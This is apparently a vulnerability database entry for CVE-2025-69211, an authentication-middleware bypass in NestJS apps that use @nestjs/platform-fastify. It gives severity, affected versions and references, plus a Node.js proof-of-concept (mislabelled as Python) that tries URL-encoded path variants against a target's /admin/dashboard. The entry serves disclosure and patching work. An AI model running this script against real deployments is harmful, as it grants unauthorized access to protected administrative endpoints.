CVE-2025-69211

Description

Nest is a framework for building scalable Node.js server-side applications. Versions prior to 11.1.11 have a Fastify URL encoding middleware bypass. A NestJS application is vulnerable if it uses `@nestjs/platform-fastify`; relies on `NestMiddleware` (via `MiddlewareConsumer`) for security checks (authentication, authorization, etc.), or through `app.use()`; and applies middleware to specific routes using string paths or controllers (e.g., `.forRoutes('admin')`). Exploitation can result in unauthenticated users accessing protected routes, restricted administrative endpoints becoming accessible to lower-privileged users, and/or middleware performing sanitization or validation being skipped. This issue is patched in `@nestjs/[email protected]`.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nestjs:nest:*:*:*:*:*:node.js:*:* - VULNERABLE

@nestjs/platform-fastify < 11.1.11

NestJS framework < 11.1.11 (使用platform-fastify时)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-69211 PoC - Fastify URL Encoding Middleware Bypass
// Target: NestJS application with @nestjs/platform-fastify

const axios = require('axios');

async function exploit(targetUrl) {
    console.log('[+] CVE-2025-69211 Middleware Bypass PoC');
    console.log('[+] Target:', targetUrl);
    
    // Original protected endpoint that requires authentication
    const protectedEndpoint = '/admin/dashboard';
    
    // Try to access without authentication (should fail)
    try {
        const normalResponse = await axios.get(targetUrl + protectedEndpoint, {
            validateStatus: false
        });
        console.log('[-] Normal request status:', normalResponse.status);
    } catch (e) {
        console.log('[-] Normal request failed:', e.message);
    }
    
    // Bypass using URL encoding - encode '/' as '%2f'
    const bypassPaths = [
        '/admin%2fdashboard',      // Encode first slash
        '/admin/%2fdashboard',     // Encode middle slash  
        '/admin/dashboard%2f',     // Trailing encoded slash
        '/%61dmin/dashboard',      // Encode 'a' as %61
        '/ADMIN/DASHBOARD',        // Case variation
    ];
    
    for (const bypassPath of bypassPaths) {
        try {
            const response = await axios.get(targetUrl + bypassPath, {
                validateStatus: false,
                timeout: 5000
            });
            console.log(`[*] Bypass path: ${bypassPath} -> Status: ${response.status}`);
            
            if (response.status === 200) {
                console.log('[!] VULNERABLE! Middleware bypassed');
                console.log('[+] Response snippet:', response.data.substring(0, 200));
            }
        } catch (e) {
            console.log(`[-] Bypass failed for ${bypassPath}: ${e.message}`);
        }
    }
}

// Usage: node cve-2025-69211-poc.js http://target:3000
const target = process.argv[2] || 'http://localhost:3000';
exploit(target);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69211
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69211
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69211/
[4] VulDB https://vuldb.com/cve/CVE-2025-69211
[5] https://github.com/nestjs/nest/commit/c4cedda15a05aafec1e6045b36b0335ab850e771
[6] https://github.com/nestjs/nest/security/advisories/GHSA-8wpr-639p-ccrj

Raw JSON Data

JSON

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